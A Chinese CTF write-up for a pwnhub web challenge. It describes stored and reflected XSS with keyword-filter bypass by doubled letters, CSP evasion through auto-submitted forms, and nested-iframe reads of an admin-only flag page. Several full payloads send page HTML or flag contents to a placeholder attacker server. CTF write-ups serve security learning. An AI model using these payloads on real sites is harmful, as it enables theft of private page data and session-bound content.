标签 pwnhub 下的文章

pwnhub -- 绝对防御 writeup


周末做了一道对于我来说很蛋疼的题目...但是看了各位师傅的writeup就觉得自己的思路太窄了....

题目地址:https://pwnhub.cn/gamedetail?id=13

注册之后有个留言板,有CSP(不允许对外发送请求),经过测试只过滤一次某些单次,如:on,oonn就能过。

用表单来绕过csp返回页面到我的服务器上,看到提示

poc:

<imong src=x oonnerror="var htmlstr = document.getElementsByTagName('html')[0].innerHTML;$('body').append('<form actioonn=http://xxx.xxx.xxx.xxx/hub1'+ escape(htmlstr)+' method=GET id=show></form><scronipt>document.getElementById(\\'show\\').submit()</scronipt>')">

转码后发现提示( http://zone.secevery.com/code/index.html 在线编码转码...之前写的辣鸡程序...):

1111111.jpg

访问http://52.80.63.91/adminshigesha233e3333/ 提示flag.php

2222222.jpg

访问flag.php 提示只有admin能看....

3333.jpg

尝试盲打admin返回flag.php的内容.
poc:

<imong src=x oonnerror="$.get('/adminshigesha233e3333/flag.php', functioonn(data){$('body').append('<form actioonn=http://xxx.xxx.xxx.xxx/'+ escape(data)+' method=GET id=show></form><scronipt>document.getElementById(\\'show\\').submit()</scronipt>')})">

555555.jpg

提示:nothing here,╮(╯-╰)╭,what ever you try, only from adminshigesha233e3333 can read it...

http://52.80.63.91/adminshigesha233e3333/

PS:在这里卡了一天多,在各种尝试加header访问,get访问,post访问,各种蛋疼,测到半夜的时候题目后端挂了...
继续回到我们开始拿到的提示url:http://52.80.63.91/adminshigesha233e3333/#admin

查看源码:

6666.jpg

发现可以xss,并且页面有设置csp规则:Content-Security-Policy:default-src 'self'; script-src 'nonce-9VyGxnyKcfU4';
再看看提示说在"adminshigesha233e3333" 才可以读取到内容,我又在这里卡了很久,我以为这里是个文件读取漏洞...后来忽然想起这里有个反射xss,又有csp。于是把思路放到用xss来读取flag.php上。

poc:

<iframe name=aa src="./adminshigesha233e3333/#admin%3Ciframe id=hh%20src%3D./flag.php name=bb></iframe>" oonnload="var str = window.frames.aa.frameElement.coonntentDocument.defaultView.bb.document.getElementsByTagName('html')[0].innerHTML;$('body').append('<form actioonn=http://xxx.xxx.xxx.xxx/hub'+ escape(str)+' method=GET id=show></form><scronipt>document.getElementById(\\'show\\').submit()</scronipt>')"></iframe>

777.jpg

成功拿到flag...感谢佳佳前端大佬的帮助...卡在两层iframe好久...后来去问了下前端大佬,她说可以在父iframe读取子iframe的内容。

888.jpg

//firefox 下获取iframe内容
document.getElementById('flag').contentWindow.document.getElementsByTagName('html')[0].innerHTML;

//firefox 下等待页面加载完毕再获取iframe里面的内容
window.onload=function(){var str = document.getElementById('flag').contentWindow.document.getElementsByTagName('html')[0].innerHTML;}

//获取iframe 二层内容
window.frames.aa.frameElement.contentDocument.defaultView.bb.document.getElementsByTagName('html')[0].innerHTML

最后的最后再次感谢下佳佳前端大佬还有出题的师傅,真的被虐哭了。